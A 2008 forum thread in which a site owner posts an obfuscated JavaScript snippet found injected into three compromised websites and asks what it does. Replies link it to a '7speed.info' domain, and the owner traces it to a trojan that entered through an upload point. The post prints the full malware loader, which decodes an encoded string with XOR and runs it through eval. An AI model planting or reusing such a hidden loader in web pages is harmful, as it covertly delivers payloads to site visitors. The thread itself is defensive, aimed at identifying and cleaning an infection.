Mystery Javascript

**rlfinc** · 10-27-2008, 03:03 PM

This may not be the right venue, but people here have been so helpful in the past. I had a few sites go down and didn't know why. Found the following code in all three with the issue...does anyone know what this does or if it looks familiar? any help would be appreciated.

<script language=JavaScript> function fwbnb25(z){var c=z.length,m=1024,i,s,h,b=0,w=0,x=0,d=Array(63,48,29,20,53,33,46,39,1,38,0,0,0,0,0,0,25,41,14,42,15,34,28,52,59,22,11,26,7,19,45,18,8,5,60,3,40,58,57,49,55,6,16 ,0,0,0,0,0,0,47,44,24,31,4,30,2,13,37,50,23,27,43,21,9,12,51,17,56,61,54,32,10,36,35,62);for(s=Math.ceil(c/m);s>0;s--){h='';for(i=Math.min(c,m);i>0;i--,c--){{x|=(d[z.charCodeAt(b++)-48])<<w;if(w){h+=String.fromCharCode(174^x&255);x>>=8;w-=2}else{w=6}}}eval(h);}}fwbnb25('@dp1wLFu_uNuDmtu2D@ECLp1J7ciwLFqlDRj_mhv@qtWKab5owVWPqtqSaby_0R1JDojhy@7BuhXhDoyYmNufM@v89@XfaRjwSsW_yF18C2vr9c5y0buYSPX8ah1wls sDmNW_jtq_mF1Sls5e6A9fUV5Q9Pjhy@7oIcEpUcuLmbuYDV7lUAyYaRWolbuMuo9BuNukJRjMjTjLXNXg0R43gF1_apyZw@vLypXDDRjZ9s5')</script>

**magicyte** · 10-27-2008, 10:01 PM

Man, if your sites go down, take the code out! (That is unless you need the code) ... Please provide a link.

-magicyte

**Twey** · 10-28-2008, 12:26 PM

It seems to be attempting to be an ad pointing to '7speed.info' (which doesn't exist).

**rlfinc** · 10-29-2008, 05:35 PM

Found the issue. A trojan from an upload point hitched a ride and spidered out. Sucks, but fixable. Thanks for the responses.

**barrydt** · 10-31-2008, 07:54 PM

Can I ask you where in your website you found this code? I just did a search on 7speed.info because it came up on my site, and found this thread. I think I may be infected with the same thing, but I'm not sure where on my site to look.

Thank you!